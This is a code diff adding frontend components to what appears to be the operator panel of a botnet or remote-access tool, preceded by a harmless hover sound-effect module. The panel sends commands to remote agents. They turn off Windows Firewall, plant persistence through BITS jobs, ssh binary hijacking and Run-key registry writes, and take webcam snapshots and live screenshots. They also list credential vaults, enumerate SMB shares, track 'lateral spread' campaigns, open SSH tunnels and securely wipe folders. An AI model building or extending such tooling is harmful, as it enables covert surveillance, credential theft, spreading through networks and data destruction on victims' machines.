+function persistHoverEnabled(enabled: boolean) {
+  try {
+    localStorage.setItem(HOVER_SFX_STORAGE_KEY, enabled ? '1' : '0');
+  } catch {
+    /* ignore */
+  }
+}
+
+function persistHoverVolume(volume: number) {
+  try {
+    localStorage.setItem(HOVER_SFX_VOLUME_KEY, String(volume));
+  } catch {
+    /* ignore */
+  }
+}
+
+type HoverVariant = 'wub' | 'blip' | 'stab';
+
+export class HoverSfxEngine {
+  private ctx: AudioContext | null = null;
+  private enabled = loadHoverEnabled();
+  private volume = loadHoverVolume();
+  private unlocked = false;
+  private lastPlayAt = 0;
+  private debounceMs = 140;
+
+  isEnabled() {
+    return this.enabled;
+  }
+
+  getVolume() {
+    return this.volume;
+  }
+
+  setEnabled(enabled: boolean) {
+    this.enabled = enabled;
+    persistHoverEnabled(enabled);
+  }
+
+  setVolume(volume: number) {
+    this.volume = Math.min(1, Math.max(0, volume));
+    persistHoverVolume(this.volume);
+  }
+
+  setDebounceMs(ms: number) {
+    this.debounceMs = Math.max(80, ms);
+  }
+
+  unlock() {
+    if (this.unlocked) return;
+    try {
+      const Ctx =
+        typeof window !== 'undefined'
+          ? window.AudioContext ||
+            (window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext
+          : undefined;
+      if (!Ctx) return;
+      if (!this.ctx) this.ctx = new Ctx();
+      if (this.ctx.state === 'suspended') void this.ctx.resume();
+      this.unlocked = true;
+    } catch {
+      /* ignore */
+    }
+  }
+
+  /** Respects main SFX mute via `sfxEnabled` from caller. */
+  play(sfxEnabled = true) {
+    if (!sfxEnabled || !this.enabled) return;
+    const now = Date.now();
+    if (now - this.lastPlayAt < this.debounceMs) return;
+    this.lastPlayAt = now;
+    this.unlock();
+    try {
+      const Ctx = window.AudioContext ||
+        (window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext;
+      if (!Ctx) return;
+      if (!this.ctx) this.ctx = new Ctx();
+      const ctx = this.ctx;
+      if (ctx.state === 'suspended') void ctx.resume();
+      const variant = pickVariant();
+      this.scheduleVariant(ctx, variant);
+    } catch {
+      /* Audio blocked */
+    }
+  }
+
+  preview(sfxEnabled = true) {
+    this.lastPlayAt = 0;
+    this.play(sfxEnabled);
+  }
+
+  private scheduleVariant(ctx: AudioContext, variant: HoverVariant) {
+    const master = ctx.createGain();
+    master.gain.value = this.volume;
+    master.connect(ctx.destination);
+    const t0 = ctx.currentTime;
+    switch (variant) {
+      case 'wub':
+        this.scheduleWub(ctx, master, t0);
+        break;
+      case 'blip':
+        this.scheduleBlip(ctx, master, t0);
+        break;
+      case 'stab':
+        this.scheduleStab(ctx, master, t0);
+        break;
+    }
+  }
+
+  private scheduleWub(ctx: AudioContext, dest: GainNode, t0: number) {
+    const osc = ctx.createOscillator();
+    const g = ctx.createGain();
+    const filter = ctx.createBiquadFilter();
+    filter.type = 'lowpass';
+    filter.frequency.setValueAtTime(420, t0);
+    filter.frequency.exponentialRampToValueAtTime(90, t0 + 0.1);
+    osc.type = 'sawtooth';
+    osc.frequency.setValueAtTime(95, t0);
+    osc.frequency.exponentialRampToValueAtTime(42, t0 + 0.09);
+    g.gain.setValueAtTime(0.0001, t0);
+    g.gain.exponentialRampToValueAtTime(0.09, t0 + 0.012);
+    g.gain.exponentialRampToValueAtTime(0.0001, t0 + 0.11);
+    osc.connect(filter);
+    filter.connect(g);
+    g.connect(dest);
+    osc.start(t0);
+    osc.stop(t0 + 0.13);
+  }
+
+  private scheduleBlip(ctx: AudioContext, dest: GainNode, t0: number) {
+    const freq = 280 + Math.random() * 180;
+    const osc = ctx.createOscillator();
+    const g = ctx.createGain();
+    osc.type = 'square';
+    osc.frequency.setValueAtTime(freq, t0);
+    osc.frequency.exponentialRampToValueAtTime(freq * 1.4, t0 + 0.04);
+    g.gain.setValueAtTime(0.0001, t0);
+    g.gain.exponentialRampToValueAtTime(0.05, t0 + 0.006);
+    g.gain.exponentialRampToValueAtTime(0.0001, t0 + 0.055);
+    osc.connect(g);
+    g.connect(dest);
+    osc.start(t0);
+    osc.stop(t0 + 0.07);
+  }
+
+  private scheduleStab(ctx: AudioContext, dest: GainNode, t0: number) {
+    const osc = ctx.createOscillator();
+    const g = ctx.createGain();
+    osc.type = 'triangle';
+    osc.frequency.setValueAtTime(62, t0);
+    osc.frequency.setValueAtTime(48, t0 + 0.03);
+    g.gain.setValueAtTime(0.0001, t0);
+    g.gain.exponentialRampToValueAtTime(0.07, t0 + 0.01);
+    g.gain.exponentialRampToValueAtTime(0.0001, t0 + 0.08);
+    osc.connect(g);
+    g.connect(dest);
+    osc.start(t0);
+    osc.stop(t0 + 0.1);
+  }
+}
+
+function pickVariant(): HoverVariant {
+  const r = Math.random();
+  if (r < 0.45) return 'wub';
+  if (r < 0.8) return 'blip';
+  return 'stab';
+}
+
+export const hoverSfxEngine = new HoverSfxEngine();
--- a/server/web/src/components/Fleet/AgentListItem.tsx
+++ b/server/web/src/components/Fleet/AgentListItem.tsx
@@ -136,6 +136,8 @@ export default function AgentListItem({
            <span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
            <span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
            <span>v{agent.version || '?'}</span>
+            {agent.build_id && <span className="mono" title="Forge build">build:{agent.build_id.slice(0, 8)}</span>}
+            {agent.campaign && <span className="agent-tag-chip" title="Spread campaign">c:{agent.campaign}</span>}
          </div>
          {agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
          <AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />
--- a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
+++ b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
@@ -0,0 +1,575 @@
+import { useState, useEffect, useRef, useCallback, type ReactNode } from 'react';
+import { api } from '../../api/client';
+import type { Agent, Build } from '../../types';
+import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions';
+import {
+  isWindowsPlatform,
+  onlineAgents,
+  parseCameraListMessage,
+  selectionAggressiveHint,
+  selectionCanRunAggressive,
+} from '../../help/crucibleOps';
+import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
+
+interface Props {
+  selectedAgents: Agent[];
+  selectedCount: number;
+  singleSelectedAgent: Agent | null;
+  commandResults?: Array<{ agent_id?: string; action?: string; success?: boolean; message?: string }>;
+  onEcho: (text: string, isCmd?: boolean) => void;
+  onAgentError: (agentId: string, agentName: string, action: string, err: unknown) => void;
+}
+
+function CollapsibleGroup({
+  label,
+  className,
+  defaultOpen = true,
+  children,
+}: {
+  label: string;
+  className: string;
+  defaultOpen?: boolean;
+  children: ReactNode;
+}) {
+  const [open, setOpen] = useState(defaultOpen);
+  return (
+    <div className={`crucible-op-group ${className} crucible-op-collapsible`}>
+      <button type="button" className="cop-toggle" onClick={() => setOpen((v) => !v)}>
+        <span className="cop-label">{label}</span>
+        <span className="cop-chevron">{open ? '▲' : '▼'}</span>
+      </button>
+      {open && <div className="cop-body">{children}</div>}
+    </div>
+  );
+}
+
+export default function CrucibleExpandedOps({
+  selectedAgents,
+  selectedCount,
+  singleSelectedAgent,
+  commandResults,
+  onEcho,
+  onAgentError,
+}: Props) {
+  const targets = onlineAgents(selectedAgents);
+  const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
+  const hasSelection = selectedCount > 0;
+  const singleOnline = singleSelectedAgent?.status === 'online' ? singleSelectedAgent : null;
+
+  const [builds, setBuilds] = useState<Build[]>([]);
+  const [selectedBuildId, setSelectedBuildId] = useState('');
+  const [liveDesktop, setLiveDesktop] = useState(false);
+  const liveDesktopRef = useRef(false);
+  liveDesktopRef.current = liveDesktop;
+
+  const [wolMac, setWolMac] = useState('');
+  const [registryOpen, setRegistryOpen] = useState(false);
+  const [regHive, setRegHive] = useState('HKCU');
+  const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
+  const [regName, setRegName] = useState('');
+  const [regValue, setRegValue] = useState('');
+  const [regType, setRegType] = useState('REG_SZ');
+
+  const [cameras, setCameras] = useState<string[]>([]);
+  const [selectedCamera, setSelectedCamera] = useState('');
+  const [killPid, setKillPid] = useState('');
+  const [deletePath, setDeletePath] = useState('');
+  const [moveSrc, setMoveSrc] = useState('');
+  const [moveDst, setMoveDst] = useState('');
+  const [wipePath, setWipePath] = useState('');
+
+  useEffect(() => {
+    api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
+  }, []);
+
+  useEffect(() => {
+    if (singleSelectedAgent?.mac_address && !wolMac) {
+      setWolMac(singleSelectedAgent.mac_address);
+    }
+  }, [singleSelectedAgent?.mac_address, wolMac]);
+
+  const dispatchOne = useCallback(
+    async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
+      try {
+        const res = await api.sendAgentCommand(agent.id, action, args);
+        if (res.success === false) {
+          onAgentError(agent.id, agent.name, action, res.error ?? 'rejected');
+        }
+      } catch (err) {
+        onAgentError(agent.id, agent.name, action, err);
+      }
+    },
+    [onAgentError]
+  );
+
+  const bulkDispatch = useCallback(
+    (action: string, args: Record<string, unknown> = {}, tgts = targets) => {
+      if (tgts.length === 0) return;
+      for (const a of tgts) {
+        void dispatchOne(a, action, args);
+      }
+      onEcho(`${action} → ${tgts.length} node(s)`, true);
+    },
+    [dispatchOne, onEcho, targets]
+  );
+
+  const aggDisabled = (action: AggressiveRemoteAction) =>
+    !hasSelection || targets.length === 0 || !selectionCanRunAggressive(action, selectedAgents);
+
+  const aggTitle = (action: AggressiveRemoteAction) =>
+    selectionAggressiveHint(action, selectedAgents) ??
+    aggressiveActionHint(action, singleSelectedAgent?.capabilities, singleSelectedAgent?.platform);
+
+  const aggBulk = (
+    action: AggressiveRemoteAction,
+    args: Record<string, unknown> = {},
+    confirm?: string,
+    tgts = targets
+  ) => {
+    if (!hasSelection || tgts.length === 0) return;
+    if (confirm && !window.confirm(confirm)) return;
+    bulkDispatch(action, args, tgts);
+  };
+
+  // Live desktop polling (single node)
+  useEffect(() => {
+    if (!liveDesktop || !singleOnline) return;
+    let focused = document.visibilityState === 'visible';
+    const onVis = () => { focused = document.visibilityState === 'visible'; };
+    document.addEventListener('visibilitychange', onVis);
+    const tick = () => {
+      if (!focused || !liveDesktopRef.current) return;
+      api.sendAgentCommand(singleOnline.id, 'screenshot').catch(() => {});
+    };
+    const id = setInterval(tick, 3000);
+    tick();
+    return () => {
+      clearInterval(id);
+      document.removeEventListener('visibilitychange', onVis);
+    };
+  }, [liveDesktop, singleOnline]);
+
+  useEffect(() => () => setLiveDesktop(false), []);
+
+  const lastCameraMsg = useRef('');
+  useEffect(() => {
+    if (!commandResults?.length) return;
+    const hit = [...commandResults].reverse().find((r) => r.action === 'camera_list' && r.success && r.message);
+    if (!hit?.message || hit.message === lastCameraMsg.current) return;
+    lastCameraMsg.current = hit.message;
+    const devs = parseCameraListMessage(hit.message);
+    if (devs.length > 0) {
+      setCameras(devs);
+      setSelectedCamera(devs[0]);
+    }
+  }, [commandResults]);
+
+  const listCameras = async () => {
+    const agent = singleOnline ?? targets[0];
+    if (!agent) return;
+    onEcho('camera_list → ' + agent.name, true);
+    try {
+      const res = await api.sendAgentCommand(agent.id, 'camera_list');
+      if (res.success === false) {
+        onAgentError(agent.id, agent.name, 'camera_list', res.error);
+        return;
+      }
+    } catch (err) {
+      onAgentError(agent.id, agent.name, 'camera_list', err);
+    }
+  };
+
+  const registryDispatch = (action: 'registry_read' | 'registry_write' | 'registry_delete') => {
+    const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
+    if (winTargets.length === 0) {
+      alert('Registry ops require online Windows agent(s).');
+      return;
+    }
+    if (winTargets.length > 1 && !window.confirm(`Registry ${action} on ${winTargets.length} Windows nodes?`)) {
+      return;
+    }
+    const payload =
+      action === 'registry_read'
+        ? { data: JSON.stringify({ hive: regHive, path: regPath }) }
+        : action === 'registry_write'
+          ? {
+              data: JSON.stringify({
+                hive: regHive,
+                path: regPath,
+                name: regName,
+                value: regValue,
+                type: regType,
+              }),
+            }
+          : { data: JSON.stringify({ hive: regHive, path: regPath, name: regName }) };
+    bulkDispatch(action, payload, winTargets);
+  };
+
+  const sendWol = async () => {
+    const tgts = selectedAgents.length > 0 ? selectedAgents : [];
+    if (tgts.length === 0) return;
+    for (const a of tgts) {
+      try {
+        const res = await api.sendWOL(a.id, wolMac || a.mac_address || undefined);
+        onEcho(
+          res.success
+            ? `✓ WOL → ${a.name} (${res.mac ?? wolMac ?? 'stored MAC'})`
+            : `✗ WOL ${a.name}: ${res.error ?? 'failed'}`,
+          true
+        );
+      } catch (err) {
+        onAgentError(a.id, a.name, 'wol', err);
+      }
+    }
+  };
+
+  const pushUpgrade = () => {
+    const build = builds.find((b) => b.id === selectedBuildId);
+    if (!build?.download_url || targets.length === 0) return;
+    if (!window.confirm(`Push upgrade (${build.file_name ?? build.id}) to ${targets.length} node(s)?`)) return;
+    bulkDispatch('upgrade', { data: build.download_url });
+  };
+
+  return (
+    <>
+      <CollapsibleGroup label="Network" className="cop-network" defaultOpen>
+        <button
+          className="button crucible-op-btn"
+          disabled={!hasSelection || targets.length === 0}
+          title="C2 + pool DNS/TCP reachability JSON"
+          onClick={() => bulkDispatch('connectivity_probe')}
+        >
+          Connectivity Probe
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={!hasSelection || targets.length === 0}
+          title="TCP listeners table"
+          onClick={() => bulkDispatch('listen_ports')}
+        >
+          Listen Ports
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={!hasSelection || targets.length === 0}
+          title="Windows Update / patch exposure"
+          onClick={() => bulkDispatch('patch_status')}
+        >
+          Patch Status
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={!hasSelection || targets.length === 0}
+          title="ARP cache neighbors on shared subnets"
+          onClick={() => bulkDispatch('arp_neighbors')}
+        >
+          ARP Neighbors
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('firewall_punch')}
+          title={aggTitle('firewall_punch')}
+          onClick={() => aggBulk('firewall_punch', { command: '8989' })}
+        >
+          Open FW Port
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('firewall_off')}
+          title={aggTitle('firewall_off')}
+          onClick={() => aggBulk('firewall_off', {}, 'Disable Windows Firewall on ALL profiles?')}
+        >
+          FW Off
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('firewall_on')}
+          title={aggTitle('firewall_on')}
+          onClick={() => aggBulk('firewall_on', {}, 'Enable Windows Firewall on all profiles?')}
+        >
+          FW On
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('firewall_profiles')}
+          title={aggTitle('firewall_profiles') || 'Disable Private+Public profiles'}
+          onClick={() => aggBulk('firewall_profiles', { command: 'off', path: 'Private,Public' })}
+        >
+          FW Private Off
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('firewall_remove')}
+          title={aggTitle('firewall_remove')}
+          onClick={() => aggBulk('firewall_remove', {}, 'Remove AetherForge firewall rules?')}
+        >
+          Remove FW Rules
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('hole_punch_status')}
+          title={aggTitle('hole_punch_status')}
+          onClick={() => aggBulk('hole_punch_status')}
+        >
+          WAN IP
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('hole_punch_close')}
+          title={aggTitle('hole_punch_close')}
+          onClick={() => aggBulk('hole_punch_close', { command: '8989' })}
+        >
+          Close UPnP
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('tunnel_stop')}
+          title={aggTitle('tunnel_stop') || 'Stop all outbound tunnels'}
+          onClick={() => aggBulk('tunnel_stop', { command: 'all' }, 'Stop all tunnels on selected nodes?')}
+        >
+          Stop Tunnels
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('mesh_status')}
+          title={aggTitle('mesh_status')}
+          onClick={() => aggBulk('mesh_status')}
+        >
+          Mesh Peers
+        </button>
+      </CollapsibleGroup>
+
+      <CollapsibleGroup label="Persistence" className="cop-persist">
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('bits_persist')}
+          title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'}
+          onClick={() => aggBulk('bits_persist')}
+        >
+          BITS Persist
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('host_binary_persist')}
+          title={aggTitle('host_binary_persist') || 'Hijack host client binary'}
+          onClick={() => aggBulk('host_binary_persist', { path: 'ssh' })}
+        >
+          Host Binary
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={!hasSelection || targets.length === 0}
+          title="Read-only audit: Run keys, tasks, systemd/launchd"
+          onClick={() => bulkDispatch('persistence_audit')}
+        >
+          Persistence Audit
+        </button>
+      </CollapsibleGroup>
+
+      <CollapsibleGroup label="Fleet Maintenance" className="cop-maint" defaultOpen>
+        <div className="crucible-inline-row crucible-upgrade-row">
+          <select
+            className="crucible-inline-select"
+            value={selectedBuildId}
+            onChange={(e) => setSelectedBuildId(e.target.value)}
+            disabled={targets.length === 0}
+          >
+            <option value="">— pick build —</option>
+            {builds.filter((b) => b.download_url).map((b) => (
+              <option key={b.id} value={b.id}>
+                {b.file_name ?? b.id} ({b.platform ?? 'win'})
+              </option>
+            ))}
+          </select>
+          <button
+            className="button crucible-op-btn"
+            disabled={!selectedBuildId || targets.length === 0}
+            onClick={pushUpgrade}
+          >
+            Push Upgrade
+          </button>
+        </div>
+
+        {singleOnline && (
+          <button
+            className={`button crucible-op-btn ${liveDesktop ? 'crucible-op-active' : ''}`}
+            title="Poll screenshot every 3s while tab is focused"
+            onClick={() => setLiveDesktop((v) => !v)}
+          >
+            {liveDesktop ? '■ Live Desktop' : '▶ Live Desktop'}
+          </button>
+        )}
+
+        <div className="crucible-inline-row">
+          <input
+            className="crucible-inline-input"
+            placeholder="MAC (optional)"
+            value={wolMac}
+            onChange={(e) => setWolMac(e.target.value)}
+          />
+          <button
+            className="button crucible-op-btn"
+            disabled={!hasSelection}
+            title="POST /agents/{id}/wol — works when offline"
+            onClick={() => void sendWol()}
+          >
+            Wake-on-LAN
+          </button>
+        </div>
+
+        <button
+          type="button"
+          className="button crucible-op-btn crucible-op-muted"
+          onClick={() => setRegistryOpen((v) => !v)}
+          disabled={!hasSelection}
+        >
+          Registry {registryOpen ? '▲' : '▼'}
+        </button>
+        {registryOpen && (
+          <div className="crucible-registry-panel">
+            <div className="crucible-inline-row">
+              <select className="crucible-inline-select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
+                <option value="HKCU">HKCU</option>
+                <option value="HKLM">HKLM</option>
+              </select>
+              <input
+                className="crucible-inline-input"
+                value={regPath}
+                onChange={(e) => setRegPath(e.target.value)}
+                placeholder="Software\...\Run"
+              />
+            </div>
+            <div className="crucible-inline-row">
+              <input className="crucible-inline-input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
+              <input className="crucible-inline-input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write)" />
+            </div>
+            <div className="crucible-inline-row">
+              <button className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => registryDispatch('registry_read')}>Read</button>
+              <button className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_write')}>Write</button>
+              <button className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_delete')}>Delete</button>
+            </div>
+            <p className="form-hint" style={{ margin: 0, fontSize: '0.68rem' }}>
+              {targets.length > 1 ? 'Bulk registry ops apply to all online Windows selections (confirm).' : 'HKCU/HKLM under Software\\ or Environment.'}
+            </p>
+          </div>
+        )}
+
+        <div className="crucible-inline-row">
+          <input
+            className="crucible-inline-input"
+            placeholder="PID to kill"
+            value={killPid}
+            onChange={(e) => setKillPid(e.target.value)}
+          />
+          <button
+            className="button crucible-op-btn"
+            disabled={!killPid.trim() || targets.length === 0}
+            onClick={() => {
+              if (!window.confirm(`Kill PID ${killPid} on ${targets.length} node(s)?`)) return;
+              bulkDispatch('kill_process', { command: killPid.trim() });
+            }}
+          >
+            Kill Process
+          </button>
+        </div>
+
+        <div className="crucible-camera-row">
+          <button className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => void listCameras()}>
+            List Cameras
+          </button>
+          {cameras.length > 0 && (
+            <select className="crucible-inline-select" value={selectedCamera} onChange={(e) => setSelectedCamera(e.target.value)}>
+              <option value="">— first device —</option>
+              {cameras.map((c) => (
+                <option key={c} value={c}>{c}</option>
+              ))}
+            </select>
+          )}
+          <button
+            className="button crucible-op-btn"
+            disabled={targets.length === 0}
+            onClick={() => bulkDispatch('camera_snapshot', selectedCamera ? { command: selectedCamera } : {})}
+          >
+            Camera Snap
+          </button>
+        </div>
+
+        <div className="crucible-inline-row">
+          <input className="crucible-inline-input" placeholder="delete_path" value={deletePath} onChange={(e) => setDeletePath(e.target.value)} />
+          <button
+            className="button crucible-op-btn"
+            disabled={!deletePath.trim() || targets.length === 0}
+            onClick={() => {
+              if (!window.confirm(`Delete file ${deletePath} on ${targets.length} node(s)?`)) return;
+              bulkDispatch('delete_path', { path: deletePath.trim() });
+            }}
+          >
+            Delete File
+          </button>
+        </div>
+        <div className="crucible-inline-row">
+          <input className="crucible-inline-input" placeholder="move src" value={moveSrc} onChange={(e) => setMoveSrc(e.target.value)} />
+          <input className="crucible-inline-input" placeholder="move dst" value={moveDst} onChange={(e) => setMoveDst(e.target.value)} />
+          <button
+            className="button crucible-op-btn"
+            disabled={!moveSrc.trim() || !moveDst.trim() || targets.length === 0}
+            onClick={() => bulkDispatch('move_path', { path: moveSrc.trim(), data: moveDst.trim() })}
+          >
+            Move
+          </button>
+        </div>
+
+        <div className="crucible-phase-c-row">
+          <button
+            className="button crucible-op-btn"
+            disabled={aggDisabled('smb_shares') || winTargets.length === 0}
+            title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'}
+            onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}
+          >
+            SMB Shares
+          </button>
+          <button
+            className="button crucible-op-btn"
+            disabled={!hasSelection || targets.length === 0}
+            title="Last lateral spread sweep summary (JSON)"
+            onClick={() => bulkDispatch('spread_status')}
+          >
+            Spread Status
+          </button>
+          <button
+            className="button crucible-op-btn"
+            disabled={aggDisabled('credential_vault_list')}
+            title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'}
+            onClick={() => aggBulk('credential_vault_list')}
+          >
+            Credential Names
+          </button>
+          <div className="crucible-inline-row" style={{ flex: '1 1 100%' }}>
+            <input
+              className="crucible-inline-input"
+              placeholder="secure_wipe folder path"
+              value={wipePath}
+              onChange={(e) => setWipePath(e.target.value)}
+            />
+            <button
+              className="button crucible-op-btn"
+              disabled={!wipePath.trim() || aggDisabled('secure_wipe')}
+              title={aggTitle('secure_wipe') || 'Overwrite files then delete folder'}
+              onClick={() => {
+                if (!window.confirm(`Secure-wipe folder ${wipePath} on ${targets.length} node(s)?`)) return;
+                bulkDispatch('secure_wipe', { path: wipePath.trim() });
+              }}
+            >
+              Secure Wipe
+            </button>
+          </div>
+          <CruciblePortForwardMatrix
+            selectedAgents={selectedAgents}
+            onEcho={onEcho}
+            onDispatch={(agent, action, args) => dispatchOne(agent, action, args)}
+          />
+        </div>
+      </CollapsibleGroup>
+    </>
+  );
+}
--- a/server/web/src/components/Fleet/CruciblePortForwardMatrix.tsx
+++ b/server/web/src/components/Fleet/CruciblePortForwardMatrix.tsx
@@ -0,0 +1,130 @@
+import { useState } from 'react';
+import type { Agent } from '../../types';
+import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
+import {
+  buildSSHForwardPayload,
+  newPortForwardRow,
+  type PortForwardRow,
+  validatePortForwardRows,
+  windowsOnlineAgents,
+} from '../../help/crucibleOps';
+
+interface Props {
+  selectedAgents: Agent[];
+  onDispatch: (agent: Agent, action: string, args: Record<string, unknown>) => void | Promise<void>;
+  onEcho: (text: string, isCmd?: boolean) => void;
+}
+
+export default function CruciblePortForwardMatrix({ selectedAgents, onDispatch, onEcho }: Props) {
+  const [open, setOpen] = useState(false);
+  const [rows, setRows] = useState<PortForwardRow[]>(() => [newPortForwardRow()]);
+  const winTargets = windowsOnlineAgents(selectedAgents);
+
+  const tunnelAllowed = (agent: Agent) =>
+    canRunAggressiveAction('tunnel_ssh_forward', agent.capabilities, agent.platform);
+
+  const dispatchMatrix = () => {
+    const err = validatePortForwardRows(rows);
+    if (err) {
+      alert(err);
+      return;
+    }
+    if (winTargets.length === 0) {
+      alert('Select online Windows agent(s) for SSH local forwards.');
+      return;
+    }
+    const blocked = winTargets.find((a) => !tunnelAllowed(a));
+    if (blocked) {
+      alert(aggressiveActionHint('tunnel_ssh_forward', blocked.capabilities, blocked.platform));
+      return;
+    }
+    if (
+      !window.confirm(
+        `Start ${rows.length} SSH forward(s) on each of ${winTargets.length} Windows node(s)?`
+      )
+    ) {
+      return;
+    }
+    for (const agent of winTargets) {
+      for (const row of rows) {
+        const payload = buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser);
+        if (!payload) continue;
+        void onDispatch(agent, 'tunnel_ssh_forward', { data: JSON.stringify(payload) });
+      }
+    }
+    onEcho(`tunnel_ssh_forward matrix → ${winTargets.length} node(s), ${rows.length} row(s)`, true);
+  };
+
+  const updateRow = (id: string, patch: Partial<PortForwardRow>) => {
+    setRows((prev) => prev.map((r) => (r.id === id ? { ...r, ...patch } : r)));
+  };
+
+  return (
+    <div className="crucible-portfwd-matrix">
+      <button
+        type="button"
+        className="button crucible-op-btn crucible-op-muted"
+        onClick={() => setOpen((v) => !v)}
+        disabled={winTargets.length === 0}
+        title="Multi-row SSH local forward on selected Windows nodes"
+      >
+        Port-Forward Matrix {open ? '▲' : '▼'}
+      </button>
+      {open && (
+        <div className="crucible-portfwd-body">
+          <p className="form-hint" style={{ margin: '0 0 0.4rem', fontSize: '0.68rem' }}>
+            Each row opens 127.0.0.1:local → remote on {winTargets.length} Windows node(s).
+          </p>
+          <div className="crucible-portfwd-grid">
+            <span className="crucible-portfwd-head">Local</span>
+            <span className="crucible-portfwd-head">Remote host:port</span>
+            <span className="crucible-portfwd-head">SSH user</span>
+            <span className="crucible-portfwd-head" />
+            {rows.map((row) => (
+              <div key={row.id} className="crucible-portfwd-row">
+                <input
+                  className="crucible-inline-input"
+                  value={row.localPort}
+                  onChange={(e) => updateRow(row.id, { localPort: e.target.value })}
+                  placeholder="2222"
+                />
+                <input
+                  className="crucible-inline-input"
+                  value={row.remoteHostPort}
+                  onChange={(e) => updateRow(row.id, { remoteHostPort: e.target.value })}
+                  placeholder="192.168.1.50:3389"
+                />
+                <input
+                  className="crucible-inline-input"
+                  value={row.sshUser}
+                  onChange={(e) => updateRow(row.id, { sshUser: e.target.value })}
+                  placeholder="optional"
+                />
+                <button
+                  type="button"
+                  className="button crucible-op-btn"
+                  onClick={() => setRows((prev) => (prev.length <= 1 ? prev : prev.filter((r) => r.id !== row.id)))}
+                  title="Remove row"
+                >
+                  ✕
+                </button>
+              </div>
+            ))}
+          </div>
+          <div className="crucible-inline-row">
+            <button
+              type="button"
+              className="button crucible-op-btn"
+              onClick={() => setRows((prev) => [...prev, newPortForwardRow()])}
+            >
+              + Row
+            </button>
+            <button type="button" className="button crucible-op-btn" onClick={dispatchMatrix}>
+              Dispatch Matrix
+            </button>
+          </div>
+        </div>
+      )}
+    </div>
+  );
+}
--- a/server/web/src/components/Fleet/FileManager.tsx
+++ b/server/web/src/components/Fleet/FileManager.tsx
@@ -29,7 +29,7 @@ function parseListDir(message: string): { path: string; entries: DirEntry[] } |
 }

 export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
-  const [cwd, setCwd] = useState('C:\\');
+  const [cwd, setCwd] = useState('');
  const [entries, setEntries] = useState<DirEntry[]>([]);
  const [filter, setFilter] = useState('');
  const [selected, setSelected] = useState<Set<string>>(new Set());
--- a/server/web/src/components/Fleet/FleetToolbar.css
+++ b/server/web/src/components/Fleet/FleetToolbar.css
@@ -1,6 +1,11 @@
 .agents-list-panel {
  flex: 1;
  min-width: 0;
+  padding: 1rem;
+  border: 1px solid var(--border-brass);
+  border-radius: 2px;
+  background: rgba(8, 6, 4, 0.45);
+  box-shadow: var(--shadow-panel);
 }

 .agents-list-panel .agents-list {
--- a/Show More
+++ b/Show More